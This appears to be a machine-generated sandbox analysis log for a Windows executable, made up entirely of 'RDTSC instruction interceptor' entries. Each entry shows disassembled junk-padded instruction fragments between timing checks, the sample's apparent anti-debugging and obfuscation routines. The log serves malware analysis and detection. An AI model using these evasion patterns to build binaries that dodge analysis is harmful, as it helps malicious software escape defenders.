Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 979561 second address: 979576 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F0264E84ACBh 0x0000000a pushad 0x0000000b push esi 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 977EAB second address: 977EB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 977FF5 second address: 978006 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F0264E84ACCh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 978006 second address: 978016 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F0264BBFB16h 0x0000000a jno 00007F0264BBFB16h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 978016 second address: 97801A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 9781C8 second address: 9781CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 9781CE second address: 9781D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 9781D2 second address: 9781E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 jo 00007F0264BBFB2Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 978608 second address: 97862D instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0264E84AC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F0264E84AD2h 0x0000000f pushad 0x00000010 ja 00007F0264E84AC6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 97862D second address: 978635 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 978772 second address: 978776 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 97D14F second address: 97D153 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 97D153 second address: 97D15B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 97D15B second address: 97D161 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 97D161 second address: 97D167 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 97D167 second address: 97D16B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 97D16B second address: 97D17B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnc 00007F0264E84AC6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 97CE77 second address: 97CE7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 9895C4 second address: 989622 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F0264E84AD4h 0x0000000b push edi 0x0000000c jmp 00007F0264E84AD2h 0x00000011 jno 00007F0264E84AC6h 0x00000017 pop edi 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c push ecx 0x0000001d pop ecx 0x0000001e jmp 00007F0264E84AD7h 0x00000023 push ebx 0x00000024 pop ebx 0x00000025 pushad 0x00000026 popad 0x00000027 popad 0x00000028 pushad 0x00000029 push edx 0x0000002a pop edx 0x0000002b pushad 0x0000002c popad 0x0000002d pushad 0x0000002e popad 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 989622 second address: 989628 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 989628 second address: 989632 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F0264E84AC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 99A6A1 second address: 99A6A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 9AE973 second address: 9AE9B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0264E84AD7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F0264E84ACAh 0x00000011 jmp 00007F0264E84AD9h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 9AE9B5 second address: 9AE9CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0264BBFB1Fh 0x00000007 jl 00007F0264BBFB1Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 9AEC97 second address: 9AEC9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 9AEC9D second address: 9AECA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 9AECA1 second address: 9AECAE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 9AECAE second address: 9AECDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F0264BBFB16h 0x0000000a jmp 00007F0264BBFB25h 0x0000000f popad 0x00000010 jmp 00007F0264BBFB1Ah 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 9AECDC second address: 9AECE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 9AECE2 second address: 9AECE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 9AF138 second address: 9AF140 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 9AF140 second address: 9AF146 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 9AF26D second address: 9AF271 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 9AF271 second address: 9AF27C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 9AF27C second address: 9AF2AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jbe 00007F0264E84AD2h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0264E84AD4h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 9AF671 second address: 9AF685 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 je 00007F0264BBFB16h 0x0000000c jo 00007F0264BBFB16h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 9AF685 second address: 9AF6AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F0264E84ACBh 0x0000000c jmp 00007F0264E84AD7h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 9B23D6 second address: 9B23E0 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0264BBFB1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 9B2671 second address: 9B2675 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 9B2675 second address: 9B267B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 9B267B second address: 9B2680 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 9B2680 second address: 9B2686 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 9B3C29 second address: 9B3C2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 9B3C2F second address: 9B3C67 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0264BBFB27h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0264BBFB29h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 9B5A55 second address: 9B5A65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0264E84ACCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 9B5A65 second address: 9B5A69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 9B5506 second address: 9B550A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 9B7654 second address: 9B7671 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F0264BBFB28h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 9B7671 second address: 9B7691 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F0264E84AD9h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 9B7691 second address: 9B7695 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 9B7695 second address: 9B76AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jng 00007F0264E84AC6h 0x00000011 push edx 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 9B76AA second address: 9B76AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8C52C1 second address: 8C52D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 pushad 0x0000000a jo 00007F0264E84AC8h 0x00000010 push edi 0x00000011 pop edi 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A50408 second address: 4A5041F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0264BBFB1Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A5041F second address: 4A50424 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A50424 second address: 4A5042A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A5042A second address: 4A5042E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A5042E second address: 4A50486 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov eax, edi 0x0000000c pushfd 0x0000000d jmp 00007F0264BBFB25h 0x00000012 add eax, 7049B836h 0x00000018 jmp 00007F0264BBFB21h 0x0000001d popfd 0x0000001e popad 0x0000001f xchg eax, ebp 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F0264BBFB28h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A50486 second address: 4A5048C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A5048C second address: 4A504BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, di 0x00000006 mov edx, 7A37F4CCh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebp, esp 0x00000010 jmp 00007F0264BBFB1Bh 0x00000015 mov edx, dword ptr [ebp+0Ch] 0x00000018 pushad 0x00000019 mov bx, ax 0x0000001c mov dx, cx 0x0000001f popad 0x00000020 mov ecx, dword ptr [ebp+08h] 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 movzx eax, dx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A8071A second address: 4A8071E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A8071E second address: 4A80724 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A80724 second address: 4A807E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, 1505h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b jmp 00007F0264E84AD0h 0x00000010 mov ebp, esp 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F0264E84ACEh 0x00000019 add cx, 82C8h 0x0000001e jmp 00007F0264E84ACBh 0x00000023 popfd 0x00000024 pushfd 0x00000025 jmp 00007F0264E84AD8h 0x0000002a and ax, 0528h 0x0000002f jmp 00007F0264E84ACBh 0x00000034 popfd 0x00000035 popad 0x00000036 xchg eax, ecx 0x00000037 jmp 00007F0264E84AD6h 0x0000003c push eax 0x0000003d jmp 00007F0264E84ACBh 0x00000042 xchg eax, ecx 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 pushfd 0x00000047 jmp 00007F0264E84ACBh 0x0000004c sub si, 8BCEh 0x00000051 jmp 00007F0264E84AD9h 0x00000056 popfd 0x00000057 pushad 0x00000058 popad 0x00000059 popad 0x0000005a rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A807E2 second address: 4A80812 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0264BBFB27h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movsx edi, si 0x00000010 call 00007F0264BBFB1Ch 0x00000015 pop esi 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A80812 second address: 4A8082D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0264E84AD7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A8082D second address: 4A80875 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0264BBFB29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F0264BBFB21h 0x00000011 xchg eax, esi 0x00000012 jmp 00007F0264BBFB1Eh 0x00000017 lea eax, dword ptr [ebp-04h] 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A80875 second address: 4A8087E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bx, DEAEh 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A8087E second address: 4A8088D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0264BBFB1Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A8088D second address: 4A80891 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A80891 second address: 4A808A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A808A0 second address: 4A808A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A808A4 second address: 4A808AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A808AA second address: 4A808D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0264E84AD4h 0x00000009 xor si, 9B58h 0x0000000e jmp 00007F0264E84ACBh 0x00000013 popfd 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A8093E second address: 4A809B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0264BBFB29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [ebp-04h], 00000000h 0x0000000d jmp 00007F0264BBFB1Eh 0x00000012 mov esi, eax 0x00000014 pushad 0x00000015 movzx ecx, bx 0x00000018 mov ebx, 1C7F3EEEh 0x0000001d popad 0x0000001e je 00007F0264BBFBABh 0x00000024 pushad 0x00000025 push edx 0x00000026 pushfd 0x00000027 jmp 00007F0264BBFB1Eh 0x0000002c or ch, 00000038h 0x0000002f jmp 00007F0264BBFB1Bh 0x00000034 popfd 0x00000035 pop esi 0x00000036 push eax 0x00000037 push edx 0x00000038 call 00007F0264BBFB1Fh 0x0000003d pop eax 0x0000003e rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A80A40 second address: 4A80A46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A80A46 second address: 4A80A4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A80A4C second address: 4A80A50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A80A50 second address: 4A80A7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0264BBFB28h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b leave 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F0264BBFB1Ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A80A7D second address: 4A80A83 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A80A83 second address: 4A7002F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0264BBFB1Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0004h 0x0000000c nop 0x0000000d sub esp, 04h 0x00000010 cmp eax, 00000000h 0x00000013 setne al 0x00000016 xor ebx, ebx 0x00000018 test al, 01h 0x0000001a jne 00007F0264BBFB17h 0x0000001c mov dword ptr [esp], 0000000Dh 0x00000023 call 00007F0268F3CD6Fh 0x00000028 mov edi, edi 0x0000002a pushad 0x0000002b mov cl, 17h 0x0000002d jmp 00007F0264BBFB21h 0x00000032 popad 0x00000033 xchg eax, ebp 0x00000034 pushad 0x00000035 mov edx, eax 0x00000037 push esi 0x00000038 push ebx 0x00000039 pop esi 0x0000003a pop edi 0x0000003b popad 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F0264BBFB1Ch 0x00000044 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A7002F second address: 4A7010A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0264E84ACBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F0264E84AD6h 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 mov bh, al 0x00000014 pushfd 0x00000015 jmp 00007F0264E84AD3h 0x0000001a xor eax, 379039BEh 0x00000020 jmp 00007F0264E84AD9h 0x00000025 popfd 0x00000026 popad 0x00000027 sub esp, 2Ch 0x0000002a pushad 0x0000002b jmp 00007F0264E84ACCh 0x00000030 pushfd 0x00000031 jmp 00007F0264E84AD2h 0x00000036 or ax, E9E8h 0x0000003b jmp 00007F0264E84ACBh 0x00000040 popfd 0x00000041 popad 0x00000042 xchg eax, ebx 0x00000043 pushad 0x00000044 mov bx, ax 0x00000047 push esi 0x00000048 pushfd 0x00000049 jmp 00007F0264E84AD7h 0x0000004e and ax, 69DEh 0x00000053 jmp 00007F0264E84AD9h 0x00000058 popfd 0x00000059 pop ecx 0x0000005a popad 0x0000005b push eax 0x0000005c pushad 0x0000005d mov ebx, ecx 0x0000005f push esi 0x00000060 push eax 0x00000061 push edx 0x00000062 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A7010A second address: 4A7014C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 xchg eax, ebx 0x00000007 pushad 0x00000008 mov ax, 676Dh 0x0000000c pushfd 0x0000000d jmp 00007F0264BBFB1Ah 0x00000012 and ecx, 6B50B108h 0x00000018 jmp 00007F0264BBFB1Bh 0x0000001d popfd 0x0000001e popad 0x0000001f xchg eax, edi 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F0264BBFB25h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A7014C second address: 4A70168 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0264E84AD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A70168 second address: 4A7016E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 4A701BB second address: 4A701CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, ax 0x00000006 push ecx 0x00000007 pop edi 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub ebx, ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
